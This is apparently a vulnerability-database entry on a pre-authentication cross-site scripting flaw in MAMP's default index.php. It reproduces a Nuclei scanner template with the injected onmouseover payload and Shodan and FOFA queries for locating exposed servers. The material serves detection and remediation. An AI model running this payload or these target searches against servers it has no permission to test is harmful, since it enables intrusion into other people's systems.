mamp-server-xss: MAMP Server - Cross-Site Scripting

2025-08-01 MAMP Server PoC Public

Description

A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file `/Applications/MAMP/htdocs/index.php` is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim's browser. This vulnerability can be exploited without prior authentication.

Details

Severity
中危
Affected
MAMP Server
Published
PoC
Public

PoC

id: mamp-server-xss

info:
  name: MAMP Server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file `/Applications/MAMP/htdocs/index.php` is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim's browser. This vulnerability can be exploited without prior authentication.
  impact: |
    Exploiting this vulnerability can allow attackers to execute arbitrary JavaScript in the victim's browser.
  remediation: |
    Implement input validation and output encoding to sanitize user inputs. Apply the vendor-supplied patch or upgrade MAMP to a version where the vulnerability is resolved.
  reference:
    - https://octagon.net/blog/2022/01/26/mamp-server-preauth-xss-leading-to-host-compromise-0day/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MAMP"
    fofa-query: title="MAMP"
  tags: mamp,server,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/test"%20onmouseover="alert(document.domain);"%20style="font-size:100000px;background-color:white";'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MAMP'
          - 'test" onmouseover="alert(document.domain);" style'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022067550c7126c3c1f6d813245df9fc2b7b2ee6fdf434cd00feb34088af3437ec73022041bce7c6bd0a7f661ea1fdfa1c1935eeaf595b4f1861e03a8f71ee02cc52ab85:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life